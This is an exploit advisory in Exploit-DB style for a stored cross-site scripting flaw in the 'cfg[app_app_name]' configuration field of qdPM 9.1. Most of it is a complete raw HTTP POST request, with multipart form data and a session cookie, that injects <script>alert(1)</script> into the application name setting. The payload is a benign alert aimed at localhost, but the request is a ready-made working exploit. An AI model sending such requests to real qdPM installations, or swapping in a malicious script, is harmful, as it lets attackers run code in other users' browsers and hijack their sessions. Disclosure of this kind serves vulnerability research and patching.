1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
# Exploit Title: qdPM 9.1 - 'cfg[app_app_name]' Persistent Cross-Site Scripting # Google Dork: N/A # Date: 2020-05-19 # Exploit Author: Kishan Lal Choudhary # Vendor Homepage: https://qdpm.net # Software Link: https://sourceforge.net/projects/qdpm/ # Version: 9.1 # Tested on: Windows 10 Description: The form parameter 'cfg[app_app_name]' is vulnerable to stored cross site scripting Payload: <script>alert(1)</script> POST /index.php/configuration HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------224716807133186052992861925563 Content-Length: 1881 Origin: http://localhost/ DNT: 1 Connection: close Referer: http://localhost/index.php/configuration?type=general Cookie: qdPM8=c14e5521818ec7a0c8bbc3099a96b94a Upgrade-Insecure-Requests: 1 -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="type" general -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[app_administrator_email]" admin@localhost.com -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[app_administrator_password]" -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[app_app_name]" <script>alert(1)</script> -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[app_app_short_name]" qdPM -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg_app_app_logo_file"; filename="" Content-Type: application/octet-stream -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[app_app_logo]" -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[sf_default_timezone]" America/New_York -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[sf_default_culture]" ar -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[app_rows_per_page]" 25 -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[app_rows_limit]" 1000 -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[app_custom_short_date_format]" d M Y -----------------------------224716807133186052992861925563 Content-Disposition: form-data; name="cfg[app_custom_logn_date_format]" d M Y H:i -----------------------------224716807133186052992861925563-- |